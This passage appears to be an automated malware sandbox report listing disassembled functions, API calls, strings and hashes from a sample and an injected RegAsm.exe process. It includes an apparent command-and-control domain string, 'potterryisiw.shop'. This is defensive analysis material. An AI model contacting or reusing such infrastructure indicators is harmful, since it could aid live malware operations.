Instruction ID: d042cb0ebb45781d6ea1395f7bcb15f346a5afac9224468a57e1442f6b03fb32
Opcode Fuzzy Hash: cd0252d4eca5b29e348065ded1101c79acbaad60cea02cbf120fa04663f5f353
Instruction Fuzzy Hash: 4901DB31900715EFCB158F90CD09BEE7BBEFB48750F008525F811A26D0DBB49940CB90

Function 00107B03 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00107B8A
__alloca_probe_16.LIBCMT ref: 00107C4B
__freea.LIBCMT ref: 00107CB2

Part of subcall function 00105136: HeapAlloc.KERNEL32(00000000,00000001,?,?,000F7FC8,?,?,?,?,?,000F27FE,00000001,?), ref: 00105168

__freea.LIBCMT ref: 00107CC7
__freea.LIBCMT ref: 00107CD7

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: b41c7ca242e359de933bb8f400620fded6b26b00b3e748210a8d55cb04d677e1
Instruction ID: 7215645e76d31f6a838366a5fdd59dcdaff0c08f8493f90e9566cffed5021df1
Opcode Fuzzy Hash: b41c7ca242e359de933bb8f400620fded6b26b00b3e748210a8d55cb04d677e1
Instruction Fuzzy Hash: 8B51A372A0820BAFEB249F648E81EBB77A9EF04350B150528FD44D62D1E7B1EC50D7A0

Function 000F59BD Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000F59C4
std::_Lockit::_Lockit.LIBCPMT ref: 000F59CE

Part of subcall function 000F2CF0: std::_Lockit::_Lockit.LIBCPMT ref: 000F2CFF
Part of subcall function 000F2CF0: std::_Lockit::~_Lockit.LIBCPMT ref: 000F2D1A

codecvt.LIBCPMT ref: 000F5A08
std::_Facet_Register.LIBCPMT ref: 000F5A1F
std::_Lockit::~_Lockit.LIBCPMT ref: 000F5A3F

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: db5a96a1b464d76f0fb5ca364bca3f128b1be9312e6fdfbee9e6cb760f703777
Instruction ID: e1c44116f7f2dc65e32c48640a98ebb256004537bc6ef2561a8ac35fb0f5a882
Opcode Fuzzy Hash: db5a96a1b464d76f0fb5ca364bca3f128b1be9312e6fdfbee9e6cb760f703777
Instruction Fuzzy Hash: DF11E131904628DFCB15EB68CD416FEB7F4AF44321F140519FA05A7A83DBB0AE40AB91

Function 000F547A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000F5481
std::_Lockit::_Lockit.LIBCPMT ref: 000F548C
std::_Lockit::~_Lockit.LIBCPMT ref: 000F54FA

Part of subcall function 000F55DD: std::locale::_Locimp::_Locimp.LIBCPMT ref: 000F55F5

std::locale::_Setgloballocale.LIBCPMT ref: 000F54A7
_Yarn.LIBCPMT ref: 000F54BD

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 0a863dd02cf13cd6ce6e78eba6ca87bf70f2c7a7a0551914295759797d53bfb8
Instruction ID: 1bebb5c8c59904c15501b6620b5c0d5f0b4689f659f1929d60e22454b0fff396
Opcode Fuzzy Hash: 0a863dd02cf13cd6ce6e78eba6ca87bf70f2c7a7a0551914295759797d53bfb8
Instruction Fuzzy Hash: 5B01D4756049189BC70AEF20DD515BD3BB2FF85341B144058EA1557B82CFB46E82DB85

Function 000FB6F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,000FB6A3,00000000,00000001,0017057C,?,?,?,000FB846,00000004,InitializeCriticalSectionEx,00116EA0,InitializeCriticalSectionEx), ref: 000FB6FF
GetLastError.KERNEL32(?,000FB6A3,00000000,00000001,0017057C,?,?,?,000FB846,00000004,InitializeCriticalSectionEx,00116EA0,InitializeCriticalSectionEx,00000000,?,000FB5FD), ref: 000FB709
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,000FA513), ref: 000FB731

Strings

api-ms-, xrefs: 000FB716

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 904f401a43041464464b0de80a1b296cacf8507511157e6db8fc8b91ac5b216b
Instruction ID: 9218f30c26a7f75025bf5317206f9db83cc6a179ad354853b6ed57ef07e2977e
Opcode Fuzzy Hash: 904f401a43041464464b0de80a1b296cacf8507511157e6db8fc8b91ac5b216b
Instruction Fuzzy Hash: 74E04830244308F7DF102FA0DC46FA93BD59F54B50F144020FA4DE88E0D7619994B9C4

Function 001081B7 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(429EDEEC,00000000,00000000,00000000), ref: 0010821A

Part of subcall function 0010A3B7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00107CA8,?,00000000,-00000008), ref: 0010A463

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00108475
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001084BD
GetLastError.KERNEL32 ref: 00108560

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bd1d2466302dd17ede07108320a8f2a782b3bad4f2760b5760137a178ad0f261
Instruction ID: 827e9f8db76b88181383b7cd9ed45bf9dc769a65430f6d082518a9048a40107d
Opcode Fuzzy Hash: bd1d2466302dd17ede07108320a8f2a782b3bad4f2760b5760137a178ad0f261
Instruction Fuzzy Hash: 38D157B5D042589FCF15CFA8D880AEDBBB5FF49304F18812AE895EB391DB70A941CB50

Function 000FA6C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000FA788
___AdjustPointer.LIBCMT ref: 000FA7AB
___AdjustPointer.LIBCMT ref: 000FA847

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4f9f851db959218e17830b8af00069dd56df1b717bb8bba18e618a23a543018f
Instruction ID: 5cb5ebbee2f318620cf4c1f0c915555f89021c19c0c16e78d7437929ec8a56e3
Opcode Fuzzy Hash: 4f9f851db959218e17830b8af00069dd56df1b717bb8bba18e618a23a543018f
Instruction Fuzzy Hash: DB51A0B570830A9FDB29AF10D841FBAB7F4EF05310F144529EA0947D92D731AD81EB92

Function 0010A7D3 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0010A3B7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00107CA8,?,00000000,-00000008), ref: 0010A463

GetLastError.KERNEL32 ref: 0010A837
__dosmaperr.LIBCMT ref: 0010A83E
GetLastError.KERNEL32(?,?,?,?), ref: 0010A878
__dosmaperr.LIBCMT ref: 0010A87F

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fcc68f8aa47b56c619f24af6d59cc890f8586330904874d25a2023ea049201bd
Instruction ID: 27f9aae454ffaa80eb4bb1a8ffcfca07c57530293118df4010b29e7efd6d3e12
Opcode Fuzzy Hash: fcc68f8aa47b56c619f24af6d59cc890f8586330904874d25a2023ea049201bd
Instruction Fuzzy Hash: F1213431600305BFCB25AF65C88087BB7ADFF54325744C42AF99987591DBB0ED418792

Function 00101056 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9215e8f8cdee4c11bc912f48d66ccc7efb7b65b9c55f56791336e9f1f2e5c672
Instruction ID: dbdd260330d1887509daa58869da346ec433de7917634637ae03f6bda72c91a9
Opcode Fuzzy Hash: 9215e8f8cdee4c11bc912f48d66ccc7efb7b65b9c55f56791336e9f1f2e5c672
Instruction Fuzzy Hash: 1921F33160020ABFCB28AF75CC819BBB7AAFF503647104524FA94D75D1D7B8ED8097A0

Function 0010B769 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0010B771

Part of subcall function 0010A3B7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00107CA8,?,00000000,-00000008), ref: 0010A463

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0010B7A9
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0010B7C9

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 26374875e95989d8533ac79e8c9c06e7926ca0ac435fcf01b0f0a705d90de103
Instruction ID: 58fe56ff332e468e83bfe13ff3282bfebf328419279a1b49f0845722c9c5fb97
Opcode Fuzzy Hash: 26374875e95989d8533ac79e8c9c06e7926ca0ac435fcf01b0f0a705d90de103
Instruction Fuzzy Hash: 201144B1515606BFE71527B15CCDCAF3A6DDEE53987104021F941911C1FBB0CD004171

Function 00112339 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,001110F4,00000000,00000001,00000000,00000000,?,001085B4,00000000,00000000,00000000), ref: 00112350
GetLastError.KERNEL32(?,001110F4,00000000,00000001,00000000,00000000,?,001085B4,00000000,00000000,00000000,00000000,00000000,?,00108B3B,00000000), ref: 0011235C

Part of subcall function 00112322: CloseHandle.KERNEL32(FFFFFFFE,0011236C,?,001110F4,00000000,00000001,00000000,00000000,?,001085B4,00000000,00000000,00000000,00000000,00000000), ref: 00112332

___initconout.LIBCMT ref: 0011236C

Part of subcall function 001122E4: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00112313,001110E1,00000000,?,001085B4,00000000,00000000,00000000,00000000), ref: 001122F7

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,001110F4,00000000,00000001,00000000,00000000,?,001085B4,00000000,00000000,00000000,00000000), ref: 00112381

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 49ae6610cefdca0f3cf267203827e0a9808e1634e438dd07b9a73f0e61b2f8bb
Instruction ID: f5baadfef3d0862aa1d5573a95b882c0f23340c3817140d9512280d33855c418
Opcode Fuzzy Hash: 49ae6610cefdca0f3cf267203827e0a9808e1634e438dd07b9a73f0e61b2f8bb
Instruction Fuzzy Hash: FDF01C36510115FBCF261FD5EC08AC93F66FB593A0B044124FA1889620C77288B0DB90

Function 001145D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 238COMMON

Download Yara Rule

APIs

OffsetRect.USER32(00000000,00000000,00000000), ref: 001146F6

Strings

0, xrefs: 00114788
Zatlat, xrefs: 00114630

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: OffsetRect
String ID: 0$Zatlat
API String ID: 177026234-1547964091
Opcode ID: a36b2adc7ad3738461c45556e0ba2813d37c7f6f60e487dec19341b0f06e36e2
Instruction ID: d1c73bc28031cf9b216b10297ae50eea4ff98c0bbe79e14ee49d7dfbd1f5649f
Opcode Fuzzy Hash: a36b2adc7ad3738461c45556e0ba2813d37c7f6f60e487dec19341b0f06e36e2
Instruction Fuzzy Hash: D291EE715083808BD314DF68C8597AFBBE0AFC9718F180A2CF5D89B692C7B5D588CB52

Function 000FA3B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000FA3EF
__IsNonwritableInCurrentImage.LIBCMT ref: 000FA4A3

Strings

csm, xrefs: 000FA48D

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 7f5542fe4f7f5e23926db67c0ed3b75b1c25ea5de84d1b68fdc7ca51a00dbf08
Instruction ID: 20e240c2408154878fad1320827c47271d12eb4ab7187b47d9d518e6c82c1aab
Opcode Fuzzy Hash: 7f5542fe4f7f5e23926db67c0ed3b75b1c25ea5de84d1b68fdc7ca51a00dbf08
Instruction Fuzzy Hash: 4441E570B0020C9BCF10DF68C844AAE7BF5AF86314F148155EA1C5B792D775AA45DF91

Function 000FACBD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 000FACE2

Strings

RCC, xrefs: 000FACFC
MOC, xrefs: 000FACF4

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 803c779bdeb309d26075986129b0280cf67d440b1b4b68acd172621882fdceea
Instruction ID: e967326541b286e09e0f442d2046458f54ef740d99c66d719a6954019fdac232
Opcode Fuzzy Hash: 803c779bdeb309d26075986129b0280cf67d440b1b4b68acd172621882fdceea
Instruction Fuzzy Hash: 044137B1A0020DEFCF16DF94C981AEEBBB5BF49301F188059FA096BA11D7359950EB52

Function 000F2420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F2425
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000F246A

Part of subcall function 000F5578: _Yarn.LIBCPMT ref: 000F5597
Part of subcall function 000F5578: _Yarn.LIBCPMT ref: 000F55BB

Strings

bad locale name, xrefs: 000F2478

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: f01035ebc70e628acf4175206cd93298740384bf0b4643a53f4de55edc2c47e7
Instruction ID: 419aa35cea40038da27064ffa8e110ebecb7bcab7705fd21c93dfcd25d920eec
Opcode Fuzzy Hash: f01035ebc70e628acf4175206cd93298740384bf0b4643a53f4de55edc2c47e7
Instruction Fuzzy Hash: 60F01D71501B408ED370DF359804753BEE0AF29710F048A1DD6CAC7A42D375E548CBA6

Function 000F2CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000F2CFF
std::_Lockit::~_Lockit.LIBCPMT ref: 000F2D1A

Strings

ios_base::badbit set, xrefs: 000F2CF1

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: ios_base::badbit set
API String ID: 593203224-3882152299
Opcode ID: 2c4f0108e3409b8ba7344c870b89e8469e6da7b2d8684fb64bff22280edd91ca
Instruction ID: 7353c0cd769a70aa45ae86d6086e26df815fe3d7086f464c05f70dcf05fbe12c
Opcode Fuzzy Hash: 2c4f0108e3409b8ba7344c870b89e8469e6da7b2d8684fb64bff22280edd91ca
Instruction Fuzzy Hash: 98E08C71404215CFD324DF14E881BE2B3E0EB24321F20047EE2C583991EBB058C0DB80

Function 00102124 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00102124
GetCommandLineW.KERNEL32 ref: 0010212F

Strings

%u, xrefs: 0010212A

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: CommandLine
String ID: %u
API String ID: 3253501508-749584840
Opcode ID: 4ed2f6fd6e9cb37ce257540d228c41b9d21b99ef4632ea622e07eff78136d972
Instruction ID: e4e940f132595d573d2655aaf2d7127bb39d4d1a379bbba6e589d67d20a6c1d0
Opcode Fuzzy Hash: 4ed2f6fd6e9cb37ce257540d228c41b9d21b99ef4632ea622e07eff78136d972
Instruction Fuzzy Hash: CBB048B8800710CF8B458FA8AA080893AB1FB8C3023A89056A84A82E20D63502C4ABA1

Analysis Process: RegAsm.exePID: 6176, Parent PID: 6056COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.2%
Total number of Nodes:	335
Total number of Limit Nodes:	25

Executed Functions

Function 00430F10 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 00430F5A
GetSystemMetrics.USER32 ref: 00430F6D
DeleteObject.GDI32 ref: 00430FD7
SelectObject.GDI32 ref: 00431029
SelectObject.GDI32 ref: 0043109C
DeleteObject.GDI32 ref: 004310D6

Strings

, xrefs: 0043106B
\D, xrefs: 00430F22, 00431110, 00431239, 0043124F, 00431265, 0043127B, 00431291, 004312A7, 004312BD, 004312D3, 004312E9, 004312FF, 00431315, 0043132B, 00431341, 00431357

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: $\D
API String ID: 1449868515-2336249234
Opcode ID: b2f1c2b85b67d381075e055d1e0933cb9c3f677de63a2a07af62926eb1445558
Instruction ID: b39d5cbee03da8dfb07941cdd59d89a9ce7e80d2681e5ab4337a2764b7f1900d
Opcode Fuzzy Hash: b2f1c2b85b67d381075e055d1e0933cb9c3f677de63a2a07af62926eb1445558
Instruction Fuzzy Hash: 48A14FB45193848FE360EF24D54879FBBF0BB86348F51892EE4899B350DBB99448CB47

Function 0040FF30 Relevance: 11.5, Strings: 9, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)(8p, xrefs: 0041006E
<*-8, xrefs: 0040FFE7
)(8p, xrefs: 00410298
1$%8, xrefs: 0040FFFD
9/cS, xrefs: 00410013
?>~), xrefs: 00410008
potterryisiw.shop, xrefs: 004103B0
:-*+, xrefs: 0041025D
$68, xrefs: 0040FFF2

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $68$)(8p$)(8p$1$%8$9/cS$:-*+$<*-8$?>~)$potterryisiw.shop
API String ID: 0-1479513362
Opcode ID: 8d0051421ae3087eeb1e994f1559e5d92f53fbc8246a7fe36ee3717cc4b690b8
Instruction ID: a16be8e964f36d79c9f861597187d9fd2e43ad97ed143db0b067413bddb66209
Opcode Fuzzy Hash: 8d0051421ae3087eeb1e994f1559e5d92f53fbc8246a7fe36ee3717cc4b690b8
Instruction Fuzzy Hash: 7FB188B05083C08BD332CF25C4947DBBBE5AFD6704F584A4DD4C85B252C7795A89CBAA

Function 00428A88 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

AJ|2, xrefs: 004291C2
2PBd, xrefs: 004292DD

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

